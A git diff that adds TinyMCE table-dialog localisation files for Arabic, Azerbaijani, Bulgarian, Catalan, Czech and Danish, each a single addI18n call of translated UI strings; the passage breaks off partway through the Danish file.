a/js/tiny_mce2/plugins/table/langs/ar_dlg.js b/js/tiny_mce2/plugins/table/langs/ar_dlg.js new file mode 100755 index 0000000..bb2d617 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.table_dlg',{"rules_border":"\u0627\u0644\u0628\u0631\u0648\u0627\u0632","rules_box":"\u0635\u0646\u062f\u0648\u0642","rules_vsides":"\u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0639\u0645\u0648\u062f\u064a\u0629","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"\u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0623\u0641\u0642\u064a\u0629","rules_below":"\u0623\u062f\u0646\u0627\u0647","rules_above":"\u0623\u0639\u0644\u0649","rules_void":"\u0623\u0644\u063a\u0649",rules:"\u0642\u0648\u0627\u0639\u062f","frame_all":"\u0643\u0627\u0641\u0629","frame_cols":"\u0639\u062f\u062f \u0627\u0644\u0623\u0639\u0645\u062f\u0629","frame_rows":"\u0639\u062f\u062f \u0627\u0644\u0635\u0641\u0648\u0641","frame_groups":"\u0627\u0644\u0645\u062c\u0645\u0648\u0639\u0627\u062a","frame_none":"\u0644\u0627 \u0634\u064a\u0621",frame:"\u0627\u0644\u0625\u0637\u0627\u0631",caption:"\u0627\u0644\u062c\u062f\u0648\u0644 \u0627\u0644\u062a\u0648\u0636\u064a\u062d\u064a\u0629","missing_scope":"\u0647\u0644 \u0627\u0646\u062a \u0645\u062a\u0623\u0643\u062f \u0627\u0646\u0643 \u062a\u0631\u064a\u062f \u0627\u0644\u0625\u0633\u062a\u0645\u0631\u0627\u0631 \u0628\u062f\u0648\u0646 \u062a\u062d\u062f\u064a\u062f \u0631\u0623\u0633 \u0644\u0644\u062c\u062f\u0648\u0644.. \u0642\u062f \u064a\u0643\u0648\u0646 \u0635\u0639\u0628 \u0639\u0644\u0649 \u0632\u0648\u0649 \u0627\u0644\u0625\u062d\u062a\u064a\u0627\u062c\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0647 \u0641\u0647\u0645 \u0645\u062d\u062a\u0648\u064a\u0627\u062a \u062c\u062f\u0648\u0644\u0643","cell_limit":"\u0644\u0642\u062f \u062a\u062c\u0627\u0648\u0632\u062a \u0627\u0644\u062d\u062f \u0627\u0644\u0623\u0642\u0635\u0649 \u0644\u0639\u062f\u062f \u0645\u0646 \u0627\u0644\u062e\u0644\u0627\u064a\u0627 {$cells}.","row_limit":"\u0644\u0642\u062f \u062a\u062c\u0627\u0648\u0632\u062a \u0627\u0644\u062d\u062f \u0627\u0644\u0623\u0642\u0635\u0649 \u0644\u0639\u062f\u062f \u0627\u0644\u0635\u0641\u0648\u0641 {$rows}.","col_limit":"\u0644\u0642\u062f \u062a\u062c\u0627\u0648\u0632\u062a \u0627\u0644\u062d\u062f \u0627\u0644\u0623\u0642\u0635\u0649 \u0644\u0639\u062f\u062f \u0623\u0639\u0645\u062f\u0629 {$cols}.",colgroup:"\u0645\u062c\u0645\u0648\u0639\u0629 \u0623\u0639\u0645\u062f\u0629 ",rowgroup:" \u0645\u062c\u0645\u0648\u0639\u0629 \u0635\u0641",scope:"\u0646\u0637\u0627\u0642",tfoot:"\u0645\u0624\u062e\u0631\u0629 \u0627\u0644\u062c\u062f\u0648\u0644",tbody:"\u062c\u0633\u0645 \u0627\u0644\u062c\u062f\u0648\u0644",thead:"\u0631\u0623\u0633 \u0627\u0644\u062c\u062f\u0648\u0644","row_all":"\u062a\u062d\u062f\u064a\u062b \u0643\u0627\u0641\u0629 \u0627\u0644\u0635\u0641\u0648\u0641 \u0641\u064a \u0627\u0644\u062c\u062f\u0648\u0644","row_even":" \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0635\u0641\u0648\u0641 \u0627\u0644\u0632\u0648\u062c\u064a\u0647 \u0645\u0646 \u0627\u0644\u062c\u062f\u0648\u0644","row_odd":"\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0635\u0641\u0648\u0641 \u0627\u0644\u0641\u0631\u062f\u064a\u0647 \u0645\u0646 \u0627\u0644\u062c\u062f\u0648\u0644","row_row":"\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0635\u0641 \u0627\u0644\u062d\u0627\u0644\u064a","cell_all":"\u062a\u062d\u062f\u064a\u062b \u0643\u0644 \u062e\u0644\u0627\u064a\u0627 \u0627\u0644\u062c\u062f\u0648\u0644","cell_row":"\u062a\u062d\u062f\u064a\u062b \u0643\u0627\u0641\u0629 \u0627\u0644\u062e\u0644\u0627\u064a\u0627 \u0641\u064a \u0627\u0644\u0635\u0641","cell_cell":"\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u062e\u0644\u064a\u0629 \u0627\u0644\u062d\u0627\u0644\u064a\u0629",th:"\u0631\u0623\u0633",td:"\u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a",summary:"\u0645\u0644\u062e\u0635",bgimage:"\u0635\u0648\u0631\u0629 \u0627\u0644\u062e\u0644\u0641\u064a\u0629",rtl:"\u0645\u0646 \u0627\u0644\u064a\u0645\u064a\u0646 \u0625\u0644\u0649 \u0627\u0644\u064a\u0633\u0627\u0631",ltr:"\u0645\u0646 \u0627\u0644\u064a\u0633\u0627\u0631 \u0625\u0644\u0649 \u0627\u0644\u064a\u0645\u064a\u0646",mime:"\u0627\u0644\u0647\u062f\u0641 \u0646\u0648\u0639 \u0627\u0644\u0645\u0644\u0641",langcode:"\u0631\u0645\u0632 \u0627\u0644\u0644\u063a\u0629",langdir:"\u0627\u062a\u062c\u0627\u0647 \u0644\u063a\u0629",style:"\u0634\u0643\u0644",id:"\u0627\u0644 \u0623\u064a \u062f\u064a Id","merge_cells_title":"\u062f\u0645\u062c \u0627\u0644\u062e\u0644\u0627\u064a\u0627",bgcolor:"\u0644\u0648\u0646 \u0627\u0644\u062e\u0644\u0641\u064a\u0629",bordercolor:"\u0644\u0648\u0646 \u0627\u0644\u062d\u062f\u0648\u062f","align_bottom":"\u0627\u0633\u0641\u0644","align_top":"\u0627\u0639\u0644\u0649",valign:"\u0627\u0644\u0645\u062d\u0627\u0630\u0627\u0629 \u0627\u0644\u0631\u0623\u0633\u064a\u0647","cell_type":"\u0646\u0648\u0639 \u0627\u0644\u062e\u0644\u064a\u0629","cell_title":"\u062e\u0635\u0627\u0626\u0635 \u062e\u0644\u064a\u0629 \u062c\u062f\u0648\u0644","row_title":"\u062e\u0635\u0627\u0626\u0635 \u0635\u0641 \u062c\u062f\u0648\u0644","align_middle":"\u0648\u0633\u0637","align_right":"\u064a\u0645\u064a\u0646","align_left":"\u064a\u0633\u0627\u0631","align_default":"\u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a",align:"\u0627\u0644\u0645\u062d\u0627\u0630\u0627\u0629",border:"\u0627\u0644\u062d\u062f\u0648\u062f",cellpadding:"\u0628\u0637\u0627\u0646\u0629 \u0627\u0644\u062e\u0644\u0627\u064a\u0627",cellspacing:"\u062a\u0628\u0627\u0639\u062f \u0627\u0644\u062e\u0644\u0627\u064a\u0627 ",rows:"\u0627\u0644\u0635\u0641\u0648\u0641",cols:"\u0623\u0639\u0645\u062f\u0629",height:"\u0627\u0631\u062a\u0641\u0627\u0639",width:"\u0639\u0631\u0636",title:"\u0625\u062f\u0631\u0627\u062c/\u062a\u0639\u062f\u064a\u0644 \u062c\u062f\u0648\u0644",rowtype:"\u0635\u0641 \u0641\u064a \u062c\u0632\u0621 \u0627\u0644\u062c\u062f\u0648\u0644","advanced_props":"\u062e\u0635\u0627\u0626\u0635 \u0645\u062a\u0642\u062f\u0645\u0647","general_props":"\u062e\u0635\u0627\u0626\u0635 \u0639\u0627\u0645\u0647","advanced_tab":"\u0645\u062a\u0642\u062f\u0645","general_tab":"\u0639\u0627\u0645","cell_col":"\u062a\u062d\u062f\u064a\u062b \u0643\u0644 \u0627\u0644\u062e\u0644\u0627\u064a\u0627 \u0641\u0649 \u0639\u0645\u0648\u062f"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/az_dlg.js b/js/tiny_mce2/plugins/table/langs/az_dlg.js new file mode 100755 index 0000000..5d5deca --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.table_dlg',{"rules_border":"s\u0259rh\u0259d","rules_box":"konteyner","rules_vsides":"\u015faquli t\u0259r\u0259fl\u0259r","rules_rhs":"sa\u011f \u00fcf\u00fcqi t\u0259r\u0259fl\u0259r","rules_lhs":"sol \u00fcf\u00fcqi t\u0259r\u0259fl\u0259r","rules_hsides":"\u00fcf\u00fcqi t\u0259r\u0259fl\u0259r","rules_below":"a\u015fa\u011f\u0131dan","rules_above":"yuxar\u0131dan","rules_void":"he\u00e7 n\u0259",rules:"X\u0259ttl\u0259r","frame_all":"ham\u0131s\u0131","frame_cols":"s\u00fctunlar","frame_rows":"s\u0259trl\u0259r","frame_groups":"qruplar","frame_none":"he\u00e7n\u0259",frame:"\u00c7\u0259r\u00e7iv\u0259",caption:"C\u0259dv\u0259l ba\u015fl\u0131\u011f\u0131","missing_scope":"\u018fminsiniz ki, ba\u015fl\u0131q \u00f6z\u0259yinin h\u0259ddini g\u00f6st\u0259rm\u0259d\u0259n davam etm\u0259k ist\u0259yirsiniz? Bunsuz b\u0259zi i\u015f qabiliyy\u0259ti a\u015fa\u011f\u0131 olan istifad\u0259\u00e7il\u0259r\u0259 c\u0259dv\u0259lin m\u0259lumatlar\u0131 v\u0259 t\u0259rkibini anlamaq \u00e7\u0259tin olacaq.","cell_limit":"Siz \u00f6z\u0259kl\u0259rd\u0259 {$cells} maksimum say\u0131 a\u015fd\u0131n\u0131z.","row_limit":"Siz s\u0259trl\u0259rd\u0259 {$rows} maksimum say\u0131 a\u015fd\u0131n\u0131z.","col_limit":"Siz s\u00fctunlarda {$cols} maksimum say\u0131 a\u015fd\u0131n\u0131z.",colgroup:"S\u00fctun qrupu",rowgroup:"S\u0259tr qrupu",scope:"H\u0259dd",tfoot:"C\u0259dv\u0259lin a\u015fa\u011f\u0131 hiss\u0259si",tbody:"C\u0259dv\u0259lin \u0259sas hiss\u0259si",thead:"C\u0259dv\u0259lin yuxar\u0131 hiss\u0259si","row_all":"C\u0259dv\u0259ld\u0259ki b\u00fct\u00fcn s\u0259trl\u0259ri yenil\u0259","row_even":"C\u0259dv\u0259ld\u0259ki c\u00fct (\u0259d\u0259d) s\u0259trl\u0259ri yenil\u0259","row_odd":"C\u0259d\u0259ld\u0259ki t\u0259k (\u0259d\u0259d) s\u0259trl\u0259ri yenil\u0259","row_row":"Haz\u0131rki s\u0259tri yenil\u0259","cell_all":"C\u0259dv\u0259ld\u0259ki b\u00fct\u00fcn \u00f6z\u0259kl\u0259ri yenil\u0259","cell_row":"S\u0259trd\u0259ki b\u00fct\u00fcn \u00f6z\u0259kl\u0259ri yenil\u0259","cell_cell":"Haz\u0131rki \u00f6z\u0259yi yenil\u0259",th:"Ba\u015fl\u0131q",td:"Veril\u0259nl\u0259r",summary:"X\u00fclas\u0259",bgimage:"Fon \u015f\u0259kli",rtl:"Sa\u011fda-sola",ltr:"Solda-sa\u011fa",mime:"H\u0259d\u0259fli MIME-n\u00f6v",langcode:"Dil kodu",langdir:"Dil istiqam\u0259ti",style:"Stil",id:"\u0130dentifikator","merge_cells_title":"\u00d6z\u0259k stili",bgcolor:"Fon r\u0259ngi",bordercolor:"S\u0259rh\u0259d r\u0259ngi","align_bottom":"A\u015fa\u011f\u0131 il\u0259","align_top":"Yuxar\u0131 il\u0259",valign:"\u015eaquli tarazla\u015fma","cell_type":"\u00d6z\u0259k n\u00f6v\u00fc","cell_title":"\u00d6z\u0259k x\u00fcsusiyy\u0259ti","row_title":"S\u0259tr x\u00fcsusiyy\u0259ti","align_middle":"M\u0259rk\u0259z il\u0259","align_right":"Sa\u011fa","align_left":"Sola","align_default":"Default",align:"Tarazla\u015fd\u0131rma",border:"S\u0259rh\u0259d",cellpadding:"\u00d6z\u0259kl\u0259rd\u0259 doldurma",cellspacing:"\u00d6z\u0259kl\u0259r aras\u0131ndak\u0131 m\u0259saf\u0259",rows:"S\u0259trl\u0259r",cols:"S\u00fctunlar",height:"H\u00fcnd\u00fcrl\u00fcy\u00fc",width:"Eni",title:"C\u0259dv\u0259li \u0259lav\u0259 et/d\u0259yi\u015fdir",rowtype:"C\u0259dv\u0259l hiss\u0259sind\u0259ki s\u0259tr","advanced_props":"\u018flav\u0259 x\u00fcsusiyy\u0259tl\u0259r","general_props":"\u00dcmumi x\u00fcsusiyy\u0259tl\u0259r","advanced_tab":"\u018flav\u0259l\u0259r","general_tab":"\u00dcmumi","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/bg_dlg.js b/js/tiny_mce2/plugins/table/langs/bg_dlg.js new file mode 100755 index 0000000..30d4181 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.table_dlg',{"rules_border":"\u0433\u0440\u0430\u043d\u0438\u0446\u0430","rules_box":"\u043a\u0443\u0442\u0438\u044f","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"\u0441\u043b\u0435\u0434","rules_above":"\u043f\u0440\u0435\u0434\u0438","rules_void":"void",rules:"\u041f\u0440\u0430\u0432\u0438\u043b\u0430","frame_all":"\u0432\u0441\u0438\u0447\u043a\u0438","frame_cols":"\u043a\u043e\u043b\u043e\u043d\u0438","frame_rows":"\u0440\u0435\u0434\u043e\u0432\u0435","frame_groups":"\u0433\u0440\u0443\u043f\u0438","frame_none":"\u0431\u0435\u0437",frame:"\u0424\u0440\u0435\u0439\u043c",caption:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","missing_scope":"\u0421\u0438\u0433\u0443\u0440\u0435\u043d \u043b\u0438 \u0441\u0442\u0435, \u0447\u0435 \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u0434\u0430 \u043f\u0440\u043e\u0434\u044a\u043b\u0436\u0438\u0442\u0435 \u0431\u0435\u0437 \u0434\u0430 \u0441\u043b\u043e\u0436\u0438\u0442\u0435 \u043e\u0431\u0445\u0432\u0430\u0442 \u043d\u0430 \u0433\u043b\u0430\u0432\u0430\u0442\u0430 \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430. \u0411\u0435\u0437 \u043d\u0435\u0433\u043e, \u043d\u044f\u043a\u043e\u0438 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u0438 \u0441 \u0443\u0432\u0440\u0435\u0436\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0433\u0430\u0442 \u0434\u0430 \u0438\u043c\u0430\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0434\u0430 \u0440\u0430\u0437\u0431\u0435\u0440\u0430\u0442 \u0434\u0430\u043d\u043d\u0438\u0442\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430.","cell_limit":"\u041f\u0440\u0435\u0432\u0438\u0448\u0438\u0445\u0442\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u043d\u0430\u0442\u0430 \u0431\u0440\u043e\u0439\u043a\u0430 \u043a\u043b\u0435\u0442\u043a\u0438: {$cells}.","row_limit":"\u041f\u0440\u0435\u0432\u0438\u0448\u0438\u0445\u0442\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u043d\u0430\u0442\u0430 \u0431\u0440\u043e\u0439\u043a\u0430 \u0440\u0435\u0434\u043e\u0432\u0435: {$rows}.","col_limit":"\u041f\u0440\u0435\u0432\u0438\u0448\u0438\u0445\u0442\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u043d\u0430\u0442\u0430 \u0431\u0440\u043e\u0439\u043a\u0430 \u043a\u043e\u043b\u043e\u043d\u0438: {$cols}.",colgroup:"\u0413\u0440\u0443\u043f\u0430 \u043a\u043e\u043b\u043e\u043d\u0438",rowgroup:"\u0413\u0440\u0443\u043f\u0430 \u0440\u0435\u0434\u043e\u0432\u0435",scope:"\u041e\u0431\u0445\u0432\u0430\u0442",tfoot:"\u0414\u044a\u043d\u043e \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",tbody:"\u0422\u044f\u043b\u043e \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",thead:"\u0413\u043b\u0430\u0432\u0430 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","row_all":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0432\u0441\u0438\u0447\u043a\u0438 \u0440\u0435\u0434\u043e\u0432\u0435 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","row_even":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0447\u0435\u0442\u043d\u0438\u0442\u0435 \u0440\u0435\u0434\u043e\u0432\u0435 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","row_odd":"\u041e\u0431\u043d\u043e\u0432\u0438 \u043d\u0435\u0447\u0435\u0442\u043d\u0438\u0442\u0435 \u0440\u0435\u0434\u043e\u0432\u0435 \u0432 \u0442\u0430\u043b\u0438\u0446\u0430\u0442\u0430","row_row":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u044f \u0440\u0435\u0434","cell_all":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0432\u0441\u0438\u0447\u043a\u0438 \u043a\u043b\u0435\u0442\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","cell_row":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0432\u0441\u0438\u0447\u043a\u0438 \u043a\u043b\u0435\u0442\u043a\u0438 \u043d\u0430 \u0440\u0435\u0434\u0430","cell_cell":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0442\u0435\u043a\u0443\u0449\u0430\u0442\u0430 \u043a\u043b\u0435\u0442\u043a\u0430",th:"\u0413\u043b\u0430\u0432\u0430",td:"\u0414\u0430\u043d\u0438\u043d",summary:"\u041e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435",bgimage:"\u0424\u043e\u043d\u043e\u0432\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",rtl:"\u041e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430 \u043b\u044f\u0432\u043e",ltr:"\u041e\u0442\u043b\u044f\u0432\u043e \u043d\u0430 \u0434\u044f\u0441\u043d\u043e",mime:"MIME \u0442\u0438\u043f",langcode:"\u041a\u043e\u0434 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",langdir:"\u041f\u043e\u0441\u043e\u043a\u0430 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",style:"\u0421\u0442\u0438\u043b",id:"Id","merge_cells_title":"\u0421\u043b\u0435\u0439 \u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",bgcolor:"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0444\u043e\u043d\u0430",bordercolor:"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0440\u0430\u043c\u043a\u0430\u0442\u0430","align_bottom":"\u0414\u043e\u043b\u0443","align_top":"\u0413\u043e\u0440\u0435",valign:"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u043f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435","cell_type":"\u0422\u0438\u043f \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430","cell_title":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430","row_title":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0440\u0435\u0434\u0430","align_middle":"\u0426\u0435\u043d\u0442\u044a\u0440","align_right":"\u0414\u044f\u0441\u043d\u043e","align_left":"\u041b\u044f\u0432\u043e","align_default":"\u041f\u043e \u043f\u043e\u0434\u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043d\u0435",align:"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",border:"\u0420\u0430\u043c\u043a\u0430",cellpadding:"\u041e\u0442\u0441\u0442\u044a\u043f \u0432 \u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",cellspacing:"\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u044a\u0436\u0434\u0443 \u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",rows:"\u0420\u0435\u0434\u043e\u0432\u0435",cols:"\u041a\u043e\u043b\u043e\u043d\u0438",height:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",title:"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0430",rowtype:"\u0420\u043e\u043b\u044f \u043d\u0430 \u0440\u0435\u0434\u0430","advanced_props":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0437\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","general_props":"\u041e\u0431\u0449\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438","advanced_tab":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","general_tab":"\u041e\u0431\u0449\u0438","cell_col":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0432\u0441\u0438\u0447\u043a\u0438 \u043a\u043b\u0435\u0442\u043a\u0438 \u0432 \u043a\u043e\u043b\u043e\u043d\u0430\u0442\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/ca_dlg.js b/js/tiny_mce2/plugins/table/langs/ca_dlg.js new file mode 100755 index 0000000..881c0ae --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.table_dlg',{"rules_border":"vora","rules_box":"quadre","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"per sota de","rules_above":"per damunt de","rules_void":"buit",rules:"Regles","frame_all":"tot","frame_cols":"columnes","frame_rows":"files","frame_groups":"grups","frame_none":"cap",frame:"Marc",caption:"T\u00edtol de la taula","missing_scope":"Esteu segur que voleu continuar sense indicar un abast per a aquesta cel\u00b7la de cap\u00e7alera. Pot ser dif\u00edcil per a alguns usuaris amb discapacitats entendre el contingut o les dades mostrades a la taula.","cell_limit":"Heu superat el nombre m\u00e0xim de cel\u00b7les de {$cells}..","row_limit":"Heu superat el nombre m\u00e0xim de files de {$rows}.","col_limit":"Heu superat el nombre m\u00e0xim de columnes de {$cols}.",colgroup:"Grup de columnes",rowgroup:"Grup de files",scope:"Abast",tfoot:"Peu de la taula",tbody:"Cos de la taula",thead:"Cap\u00e7alera de la taula","row_all":"Actualitza totes les files","row_even":"Actualitza les files parells","row_odd":"Actualitza les files senars","row_row":"Actualitza la fila","cell_all":"Actualitza totes les cel\u00b7les de la taula","cell_row":"Actualitza totes les cel\u00b7les de la fila","cell_cell":"Actualitza la cel\u00b7la",th:"Cap\u00e7alera",td:"Dades",summary:"Resum",bgimage:"Imatge de fons",rtl:"De dreta a esquerra",ltr:"D\'esquerra a dreta",mime:"Tipus MIME",langcode:"Codi de l\'idioma",langdir:"Direcci\u00f3 de l\'idioma",style:"Estil",id:"Id","merge_cells_title":"Fusiona cel\u00b7les",bgcolor:"Color de fons",bordercolor:"Color de vora","align_bottom":"A baix","align_top":"A dalt",valign:"Alineaci\u00f3 vertical","cell_type":"Tipus de cel\u00b7la","cell_title":"Propietats de cel\u00b7la","row_title":"Propietats de fila","align_middle":"Centre","align_right":"Dreta","align_left":"Esquerra","align_default":"Per defecte",align:"Alineaci\u00f3",border:"Vora",cellpadding:"Separaci\u00f3 de cel\u00b7la",cellspacing:"Espaiat de cel\u00b7la",rows:"Files",cols:"Columnes",height:"Al\u00e7ada",width:"Amplada",title:"Insereix/Modifica taula",rowtype:"Fila","advanced_props":"Propietats avan\u00e7ades","general_props":"Propietats generals","advanced_tab":"Avan\u00e7at","general_tab":"General","cell_col":"Actuaitza totes les cel\u00b7les en la columna"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/cs_dlg.js b/js/tiny_mce2/plugins/table/langs/cs_dlg.js new file mode 100755 index 0000000..735c521 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.table_dlg',{"rules_border":"r\u00e1me\u010dek okolo","rules_box":"box okolo","rules_vsides":"vlevo a vpravo","rules_rhs":"vpravo","rules_lhs":"vlevo","rules_hsides":"naho\u0159e a dole","rules_below":"dole","rules_above":"naho\u0159e","rules_void":"\u017e\u00e1dn\u00fd",rules:"Vykreslen\u00ed m\u0159\u00ed\u017eky","frame_all":"v\u0161e","frame_cols":"sloupce","frame_rows":"\u0159\u00e1dky","frame_groups":"oblasti a skupiny sloupc\u016f","frame_none":"\u017e\u00e1dn\u00e1",frame:"R\u00e1me\u010dek tabulky",caption:"Nadpis tabulky","missing_scope":"Skute\u010dn\u011b chcete pokra\u010dovat bez ur\u010den\u00ed oblasti hlavi\u010dky t\u00e9to tabulky? Bez n\u00ed m\u016f\u017ee u n\u011bkter\u00fdch u\u017eivatel\u016f doch\u00e1zet k ur\u010dit\u00fdm probl\u00e9m\u016fm p\u0159i interpretaci a zobrazov\u00e1n\u00ed dat v tabulce.","cell_limit":"P\u0159ekro\u010dili jste maxim\u00e1ln\u00ed po\u010det bun\u011bk {$cells}.","row_limit":"P\u0159ekro\u010dili jste maxim\u00e1ln\u00ed po\u010det \u0159\u00e1dk\u016f {$rows}.","col_limit":"P\u0159ekro\u010dili jste maxim\u00e1ln\u00ed po\u010det sloupc\u016f {$cols}.",colgroup:"Skupina sloupc\u016f",rowgroup:"Skupina \u0159\u00e1dk\u016f",scope:"Hlavi\u010dka pro",tfoot:"Pata tabulky",tbody:"T\u011blo tabulky",thead:"Hlavi\u010dka tabulky","row_all":"Aktualizovat v\u0161echny \u0159\u00e1dky tabulky","row_even":"Aktualizovat sud\u00e9 \u0159\u00e1dky tabulky","row_odd":"Aktualizovat lich\u00e9 \u0159\u00e1dky tabulky","row_row":"Aktualizovat zvolen\u00fd \u0159\u00e1dek","cell_all":"Aktualizovat v\u0161echny bu\u0148ky v tabulce","cell_row":"Aktualizovat v\u0161echny bu\u0148ky v \u0159\u00e1dku","cell_cell":"Aktualizovat zvolenou bu\u0148ku",th:"Z\u00e1hlav\u00ed",td:"Data",summary:"Shrnut\u00ed obsahu",bgimage:"Obr\u00e1zek pozad\u00ed",rtl:"Zprava doleva",ltr:"Zleva doprava",mime:"MIME typ c\u00edle",langcode:"K\u00f3d jazyka",langdir:"Sm\u011br textu",style:"Styl",id:"ID","merge_cells_title":"Spojit bu\u0148ky",bgcolor:"Barva pozad\u00ed",bordercolor:"Barva r\u00e1me\u010dku","align_bottom":"Dol\u016f","align_top":"Nahoru",valign:"Vertik\u00e1ln\u00ed zarovn\u00e1n\u00ed","cell_type":"Typ bu\u0148ky","cell_title":"Vlastnosti bu\u0148ky","row_title":"Vlastnosti \u0159\u00e1dku","align_middle":"Na st\u0159ed","align_right":"Vpravo","align_left":"Vlevo","align_default":"V\u00fdchoz\u00ed",align:"Zarovn\u00e1n\u00ed",border:"R\u00e1me\u010dek",cellpadding:"Odsazen\u00ed obsahu",cellspacing:"Rozestup bun\u011bk",rows:"\u0158\u00e1dky",cols:"Sloupce",height:"V\u00fd\u0161ka",width:"\u0160\u00ed\u0159ka",title:"Vlo\u017eit/upravit tabulku",rowtype:"Typ \u0159\u00e1dku","advanced_props":"Roz\u0161\u00ed\u0159en\u00e9 parametry","general_props":"Obecn\u00e9 parametry","advanced_tab":"Roz\u0161\u00ed\u0159en\u00e9","general_tab":"Obecn\u00e9","cell_col":"Aktualizovat v\u0161echny bu\u0148ky ve sloupci"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/da_dlg.js b/js/tiny_mce2/plugins/table/langs/da_dlg.js new file mode 100755 index 0000000..13220a5 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.table_dlg',{"rules_border":"kant","rules_box":"boks","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"under","rules_above":"over","rules_void":"void",rules:"Regler","frame_all":"alle","frame_cols":"kolonner","frame_rows":"r\u00e6kker","frame_groups":"grupper","frame_none":"ingen",frame:"Ramme",caption:"Tabeloverskrift","missing_scope":"Er du sikker p\u00e5, du vil forts\u00e6tte uden at angive forklaring for denne overskriftscelle? Uden forklaring vil v\u00e6re sv\u00e6rt for f.ek.s blinde at l\u00e6se og forst\u00e5 indholdet i tabellen.","cell_limit":"Du har overskredet antallet af tilladte celler p\u00e5 {$cells}.","row_limit":"Du har overskredet antallet af tilladte 